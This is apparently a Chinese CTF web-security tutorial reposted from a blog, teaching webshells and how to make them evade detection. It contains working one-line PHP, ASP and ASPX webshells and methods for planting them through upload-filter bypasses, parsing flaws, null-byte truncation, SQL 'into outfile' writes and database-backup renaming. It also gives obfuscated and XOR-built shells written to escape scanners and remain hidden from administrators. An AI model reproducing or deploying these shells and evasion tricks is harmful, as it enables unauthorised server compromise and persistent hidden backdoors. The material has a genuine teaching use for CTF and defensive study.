CTF-web 第十部分 webshell基础与免杀

一、什么是webshell

(1)webshell简介

        webshell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,webshell就是就是web的一个管理工具,可以对web服务器进行操作的权限,也叫webadmin。webshell一般是被网站管理员用于网站管理、服务器管理等等一些用途,但是由于webshell的功能比较强大,可以上传下载文件,查看数据库,甚至可以调用一些服务器上系统的相关命令(比如创建用户,修改删除文件之类的),通常被黑客利用,黑客通过一些上传方式,将自己编写的webshell上传到web服务器的页面的目录下,然后通过页面访问的形式进行入侵,或者通过插入一句话连接本地的一些相关工具直接对服务器进行入侵操作。

(2)webshell的分类

        webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。在国外,还有用python脚本语言写的动态网页,当然也有与之相关的webshell。

        根据功能也分为大马与小马,小马通常指的一句话木马,例如:<%eval request(“pass”)%>通常把这句话写入一个文档里面,然后文件名改成xx.asp。然后传到服务器上面。这里eval方法将request(“pass”)转换成代码执行,request函数的作用是应用外部文件。这相当于一句话木马的客户端配置。服务器配置(即本机配置):

默认配置:

<form action=http://主机路径/TEXT.asp method=post>
<textarea name=value cols=120 rows=10 width=45>  
set lP=server.createObject("Adodb.Stream")//建立流对象
lP.Open //打开
lP.Type=2 //以文本方式
lP.CharSet="gb2312" //字体标准
lP.writetext request("newvalue")  
lP.SaveToFile server.mappath("newmm.asp"),2 //将木马内容以覆盖文件的方式写入newmm.asp,2就是已覆 盖的方式
lP.Close //关闭对象
set lP=nothing //释放对象
response.redirect "newmm.asp" //转向newmm.asp  
</textarea>
<textarea name=newvalue cols=120 rows=10 width=45>(添入生成木马的内容)
</textarea>
<BR>
<center>
<br>
<input type=submit value=提交>

   这里通过提交表单的方式,将木马提交上去,具体的做法是将定义一个对象IP,然后以文本方式写入newvalue里面的内容(newvalue的内容在textarea定义),写入以覆盖的方式产生ASP文件,然后执行这个脚本。其中客户端中的value代表的是表单的名字,必须跟服务端(本机)的post提交中的表单名一样,所以这里的value可以为任意字符,相当于一个密码之类的东西,但是这个‘密码’是明文的,可以截取下来。PHP的一句话原理跟以上的原理差不多,就是语言的差别导致语法不同。这就是小马的基本工作原理。

        大马的工作模式简单的多,他没有客户端与服务端的区别,就是一些脚本大牛直接把一句话木马的服务端整合到了一起,通过上传漏洞将大马上传,然后复制该大马的url地址直接访问,在页面上执行对web服务器的渗透工作。但是有些网站对上传文件做了严格的限制,因为大马的功能较多,所以体积相对较大,很有可能超出了网站上传限制,但是小马的体积可以控制(比如把代码复制很多遍,或者在一个乱码文件中夹入代码),但是小马操作起来比较繁琐,可以先上传小马拿到webshell,然后通过小马的连接上传大马拿到服务器。

二 webshell常见获取方式

(1)上传漏洞获取WebShell

首先说我们最常见的,已经讲过的上传漏洞,通过上传一句话木马等,获得服务器的执行权利。

文件上传漏洞主要有以下几种情况:

  • MIME类型绕过漏洞(讲过)
  • 文件扩展名绕过漏洞(讲过)
  • 文件内容检测绕过类上传漏洞(讲过)
  • 空字节截断目录路径检测绕过类上传漏洞  (讲过)

我们可以将Request包的Content-type修改,就可以成功绕过了服务端MIME类型检测,像这种服务端检测http包的Content-type都可以用这种类似方法来绕过

检测解析导致的文件上传漏洞:

  • IIS6.0站上的目录路径检测解析绕过上传漏洞
  • Apache站上的解析缺陷绕过上传漏洞
  • htaccess文件上传解析漏洞 

        这其中的技术点主要是使用Bp修改一些请求的参数,包括使用00截断操作文件名,更改类型,当然还有二进制连接等手段。

        还有一些编辑器存在漏洞导致的文件上传,比如FCK编辑器。具体请看i春秋学院视频,还可以做实验,链接如下:非法文件上传漏洞技术解析及防御

(2)sql注入获取webshell

        一直以来,都以为sql注入都是用来暴露和查询关键信息的,其实对于数据库操作来说,SQL注入攻击可以获取WebShell其实就是在向服务器写文件。(注意:这里我们需要得到网站的绝对路径)所有常用的关系数据库管理系统(RDBMS)均包含内置的向服务器文件系统写文件的功能。

MySQL:

select into outfile(dumpfile)  //MySQL写文件命令
# 例如:
select "<?php echo 'test'; ?>" into outfile "F:\\www\\test.php";

那么其它关系数据库管理系统同样的原理写文件,就不在过多介绍了

(3)数据库备份获取WebShell

对于这个方法,我遇见过得就是拿到管理员账号和密码之后是可以登录后台的,虽然存在上传的地方,但是只能是jpg图像,这个时候必须还得将它改成.asp后缀。这里可以用到网站中的数据库备份漏洞。在后台的“系统管理”中提供了“数据库备份”功能,我们可以将上传上去的图片文件作为要备份的数据库,然后利用可以指定备份文件名的漏洞,把备份后的文件改名成.asp后缀。具体操作如下图所示。

成功备份之后,记下已更名的webshell文件的路径\wwwroot\admin\.\admin\webshell.asp。

这里就成功地将webshell上传到了网站,输入URL:我们就可以访问这个网页了,由于他这个是个大马所以可以这样,我们一般的一句话木马没有任何内容,一般是使用中国菜刀进行连接。

(4)CMS获取WebShell

什么是CMS?
CMS是Content Management System的缩写,意为"内容管理系统"。 内容管理系统是企业信息化建设和电子政务的新宠,也是一个相对较新的市场。对于内容管理,业界还没有一个统一的定义,不同的机构有不同的理解。

常见的CMS有哪些?

  • asp平台:动易CMS、创力CMS、科汛CMS、新云CMS;
  • php平台:phpcms、织梦CMS、帝国CMS、php168 CMS;
  • ASP.NET平台:Zoomla!逐浪CMS、动易CMS、风讯CMS、We7 CMS;


CMS获取WebShell方法

公开漏洞途径:以PHPCMS为例:
我们可以利用搜索引擎来查找互联网上公开的通用漏洞,如果目标站点并没有进行修复,即可轻松获取WebShell。

代码审计途径:
有很多CMS其实是开源的,我们可以在官网下载到源码,然后进行代码审计,自己挖掘漏洞, 来获取WebShell。

下面是一个小小的总结,描述了一些具体的原理和方法:

1.解析漏洞上传

现在对于不同的web服务器系统对应的有不同的web服务端程序,windows端主流的有iis,linux端主流的有nginx。这些服务对搭建web服务器提供了很大的帮助,同样也对服务器带来隐患,这些服务器上都存在一些漏洞,很容易被黑客利用。

(1)iis目录解析漏洞

比如:/xx.asp/xx.jpg

虽然上传的是JPG文件,但是如果该文件在xx.asp文件夹下,那个iis会把这个图片文件当成xx.asp解析,这个漏洞存在于iis5.x/6.0版本。

(2)文件解析漏洞

比如:xx.asp;.jpg。在网页上传的时候识别的是jpg文件,但是上传之后iis不会解析;之后的字符,同样会把该文件解析成asp文件,这个漏洞存在于iis5.x/6.0版本。

(3)文件名解析

比如:xx.cer/xx.cdx/xx.asa。在iis6.0下,cer文件,cdx文件,asa文件都会被当成可执行文件,里面的asp代码也同样会执行。(其中asa文件是asp特有的配置文件,cer为证书文件)。

(4)fast-CGI解析漏洞

在web服务器开启fast-CGI的时候,上传图片xx.jpg。内容为:

<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[shell])?>');?>

这里使用的fput创建一个shell.php文件,并写入一句话。访问路径xx.jpg/.php,就会在该路径下生成一个一句话木马shell.php。这个漏洞在IIS 7.0/7.5,Nginx 8.03以下版本存在。语言环境:PHP,prel,Bourne Shell,C等语言。

*注:fast-CGI是CGI的升级版,CGI指的是在服务器上提供人机交互的接口,fast-CGI是一种常驻型的CGI。因为CGI每次执行时候,都需要用fork启用一个进程,但是fast-CGI属于激活后就一直执行,不需要每次请求都fork一个进程。比普通的CGI占的内存少。

(5)apache解析漏洞

apache解析的方式是从右向左解析,如果不能解析成功,就会想左移动一个,但是后台上传通常是看上传文件的最右的一个后缀,所以根据这个,可以将马命名为xx.php.rar,因为apache解析不了rar,所以将其解析为php,但是后台上传点就将其解析为rar,这样就绕过了上传文件后缀限制

2.截断上传

在上传图片的时候,比如命名1.asp .jpg(asp后面有个空格),在上传的时候,用NC或者burpsuite抓到表单,将上传名asp后面加上%00(在burpsuite里面可以直接编辑HEX值,空格的HEX值为20,将20改为00),如果HEX为00的时候表示截断,20表示空格,如果表示截断的时候就为无视脚本中的JPG验证语句,直接上传ASP。

3.后台数据库备份

在一些企业的后台管理系统中,里面有一项功能是备份数据库(比如南方cms里面就有备份数据库的功能)。可以上传一张图片,图片里面含有一句话木马,或者将大马改成jpg格式,然后用数据库备份功能,将这张图片备份为asp等其他内容可以被解析为脚本语句的格式,然后再通过web访问就可以执行木马了,但是这种方法很老了,现在大多数的cms已经把这种备份的功能取消了,或者禁用了。

4.利用数据库语句上传

(1) mysql数据库into outfile

这种方式的前提必须是该网站有相应的注入点,而且当前用户必须要有上传的权限,而且必须有当前网页在服务器下的绝对路径。方法是用联合查询,将一句话木马导入到网站下边的一个php文件中去,然后使用服务端连接该网站。但是上述方法条件过于苛刻,一般遇到的情况很少。

(2)建立新表写入木马

一些开源cms或者自制的webshell会有数据库管理功能,在数据库管理功能里面有sql查询功能,先使用create table shell(codetext);创建一个名字叫做shell的表,表里面有列明叫做code,类型为text。然后使用insert into shell(code) values(‘一句话马’),这里讲shell表中的code列赋值为一句话的马,然后通过自定义备份,将该表备份为x.php;x然后就被解析成为php然后执行了,这里不是x.php;x就一定能够解析为php,不同的web服务器上面的服务程序不同,然后过滤规则也不同,可能会使用其他的方式。

(3)phpMyadmin设置错误

phpMyadmin用来管理网站数据库的一个工具,其中config.inc.php为其配置文件,在查看的该文件的时候,如果$cfg[‘Servers’][$i][‘auth_type’]参数的值设置没有设置(默认为config)说明在登陆数据库的时候没有做相应的验证,可以直接连入数据库,而且在Mysql在一些版本下面默认登陆都是以root用户进行登陆(即管理员),所以登陆进去为最大权限。但是root一般只能本地登陆,所以必须创建一个远程登陆用户。用远程登陆用户登陆之后,创建一个表,然后再将一句话木马写入。

三 webshell的隐藏

对于很多实际的网站可能不像我们ctf什么的会有那么少的检查和过滤,关键的时候我们需要掌握一些可以隐藏信息的方法。

(1)特殊的格式或者用法  

在网页的解析中,会支持一些特殊的用法,或者有一些不同以往的格式,这是我们可以利用的,例如

基于xslt转换的WebShell

在了解什么是xslt之前,我们需要先了解什么是xsl,XSL是可扩展样式表语言的外语缩写,是一种用于以可读式呈现 XML(标准通用标记语言的子集)数据的语言。XSL - 不仅仅是样式表语言。XSL 包括三部分:XSLT - 一种用于转换 XML 文档的语言。XPath - 一种用于在 XML 文档中导航的语言。XSL-FO - 一种用于格式化 XML 文档的语言。

官方的例子

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
     xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
     xmlns:php="http://php.net/xsl">          //这个命名空间URI表示php专用的xsl函数支持
<xsl:output method="html" encoding="utf-8" indent="yes"/>
 <xsl:template match="allusers">
  <html><body>
    <h2>Users</h2>
    <table>
    <xsl:for-each select="user">
      <tr><td>
        <xsl:value-of
             select="php:function('ucfirst',string(uid))"/>     //php:function('assert',string(.))表示将匹配节点的文本作为参数传递给php的assert函数。
      </td></tr>
    </xsl:for-each>
    </table>
  </body></html>
 </xsl:template>
</xsl:stylesheet>

那么搞懂了以上这些知识,那就很简单了。为了避免xml的转义问题,进行一次assert嵌套,最终WebShell如下

<?php
$xml='<ichunqiu>assert($_POST[zusheng]);</ichunqiu>';
$xsl='<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:icq="http://php.net/xsl">
 <xsl:template match="/ichunqiu">
    <xsl:value-of select="icq:function(\'assert\',string(.))"/>
 </xsl:template>
</xsl:stylesheet>';
$xmldoc = DOMDocument::loadXML($xml);
$xsldoc = DOMDocument::loadXML($xsl);
$proc = new XSLTProcessor();
$proc->registerPHPFunctions();
$proc->importStyleSheet($xsldoc);
$proc->transformToXML($xmldoc);
?> 

可以直接用菜刀连接:(密码:zusheng)

其他的方法,还需要自己去发掘了。

(2)解密解密方式

我们可以采用编码和压缩恶意代码的方式来隐藏WebShell。隐藏webshell,第一个目的是不让网站管理员发现马将其删掉,第二个目的是为了不被其他的Hacker发现了这个文件并加以利用。

<?php
eval(gzinflate(base64_decode('Sy1LzNFQiQ/wDw6JVq8qLc5IzUtXj9W0BgA=')));
?>

可以直接用菜刀连接:(密码:zusheng)

当然这只是最简单的一种加密放啊,对于很多大马,通常采用了一些加密方式来保护自己,我们不仅可以将自身的代码进行加密,还可以将一些信息进行加密,这里只是提供一个思路,下面会详细的介绍一些常用的方法。

四 webshell的免杀

免杀需要做的就是尽量不使用特定的关键字,我们使用一些特殊的构造方法,或者拆分或者替换等方式,不断地尝试躲避服务器端的过滤

1.构造法绕过检测(PHP)

一般的检测程序会过滤这样”_POST”,”system”,”call_user_func_array”这样的字符,这个时候可以用构造法绕过一些检测程序,基本原理是,php每一个字符都都对应了一个二进制的值,可以采用异或的方式,让马中的一个字符用两个字符异或后的值来代替,在我们的程序过滤数字 字母等的时候也可以派上用场,我的核心思路是,将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符。

比如像一下代码,。在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可,我们也可以使用~来取反。

<?php
@$_++;                             // 这里++让’_’自加1
$__=("#"^"|");                 // _
$__=("."^"~");                          // P
$__=("/"^"`");                  // O
$__=("|"^"/");                 // S
$__=("{"^"/");                          // T
?>

然后构造与一句话可以写为

<?php @$_++;
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");         // $__的值为_POST
@${$__}[!$_](${$__}[$_]);?>

 // 结果为

@$_POST[0]($POST[1])

!$_表示1的相反,在语言里面1代表真,反过来就是0(假)

但是这样的绕过方法相当弱,仔细想一下,就算是两个字符的二进制值异或,但是我们要用某个字符,还是应用那个字符的值,比如

$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/")

的二进制值与_POST字符的值一样的,要是检测程序会检测二进制码的值,还是会被杀掉。

方法二利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如'和'{2}的结果是"\x8c",其取反即为字母s:

我们构造一个语句

$_GET[_]($_GET[__]);         $_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
                             $_=_GET; $_GET[_]($_GET[__]) 设置一下变量 替换后面的变量名

主要是_GET这个字符串,需要我们使用特殊字符构造,其他的字符串已经是特殊字符了,实现这个字符串的二进制为5F474554,我们需要特殊字符来^(异或)来得到这个字符,举例子

_=5F=10011111=                          G=47=01000111=
     11000000  =0x60  "`"                    01111011      =7B   "{"
    ^01011111  =0x3f  "?"                   ^00111100      =3C   "<"
实际上我们也可以整个字符串异或获得字符串
_GET=5F474554=
     607B7B7B    
    ^3F3C3E2F

其实我们可以编写一个脚本用来计算这个,过一段时间写一个;

2018.8.10补充:

发现无法通过所有的特殊字符构造任意的payload......python脚本跑不出来。可能是我写的有问题

2.正则表达式代替法(PHP)

php中有一个函数preg_replace()函数,这个函数可以实现正则表达式的替换工作。用替换绕过检测系统还需要php脚本语言里面的一个函数特性,函数在调用的时候,如果函数里面的形参赋的值里面含有命令,就会执行这个命令。

<?php
function funfunc($str){}
echopreg_replace("/<title>(.+?)<\/title>/ies",'funfunc("\1")', $_POST["cmd"]);
?>

上述代码就是替代的一个过程,首先创建一个空函数,然后使用preg_replace函数替换表单cmd中的<title></title>(这里是html里面表示主题)为funfunc,将post表单中的值写成

    <title>{${phpinfo()}}</title>

(当然这里的phpinfo()可以换成其他的命令),通过置换,就会变成

    funfunc({${phpinfo()}})

由于${}可以解析{}中的内容,所以这里的phpinfo就可以顺利执行了。

3.即时生成法(PHP)

在使用头文件包含的时候,所包含头文件php很容易被扫描器扫描到,这时候可以使用file_put_content创建一个文件,里面写如php的一句话马。在访问之前先生成马,但是这个函数比较敏感,很容易被杀。

4.回避法(asp)

因为有的asp服务器为了防止一句话马,会过滤<%,%>,可以使用:

<scriptlanguage=VBScriptrunat=server>execute request("cmd")</Script>

功能相同,就是换个形式。

回避特定脚本语言:aspx一句话

<script language="C#" runat="server">WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");</script>

这里使用C#语言写一句话马。

5.拆分法(asp)

将<%eval request(“x”)%>拆分为<%Y=request(“x”)%><%eval(Y)%>,虽然绕过的可能性很小,但是也是一种绕过手法,也许有的服务器,做了很多高大上的扫描方式,但是遗漏小的问题。

还有拆分法加强版:

<%IfRequest("MH")<>"" Then Execute(Request("MH"))%>
<%if request("MH")<>""thensession("MH")=request("MH"):end if:ifsession("MH")<>"" then executesession("MH")%>

以上两句使用了if一句将其分开,中心思想将敏感字符拆分,因为一般asp特征码为eval(request或者execute(request,拆分了之后检测不到特征码,就直接绕过了。

6.乱码变形(ANSI->Unicode加密)

<%eval request("#")%>变形为“┼攠數畣整爠煥敵瑳∨∣┩愾”
eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("brute"))%&gt;

上面一行代码是采用了ascii加密的方法,chr(114)代表的是ascii中的编号为114个那个字符,即r。上述代码转换后的代码为
<%eval (eval(request("brute"))%>

6.不死马

这里关于不死马确实需要多说几句,比赛的时候遇到,大概的原理有两种:

一个是使用系统保留文件名创建无法删除的webshell来隐藏后门。

另一个是使用一个守护的进程,持续的在指定地方监控,如果文件不见了那么就创建新的文件。

当然,也遇到了奇特的解决办法,有的人在自己服务器上中不死马来解决不死马问题,比赛中没有权限的时候也有人给自己服务器种马,真是简直了..哈哈O(∩_∩)O哈哈~

多数参考

https://blog.csdn.net/zzyandzzzy/article/details/76167884

https://www.jianshu.com/p/02aac12e459f

其他的基本知识也有其余地方的,但是很早了找不到了...

关于无数字字母的webshell部分是做题的时候遇到的,确实是很实用

猜你喜欢

转载自blog.csdn.net/iamsongyu/article/details/84104397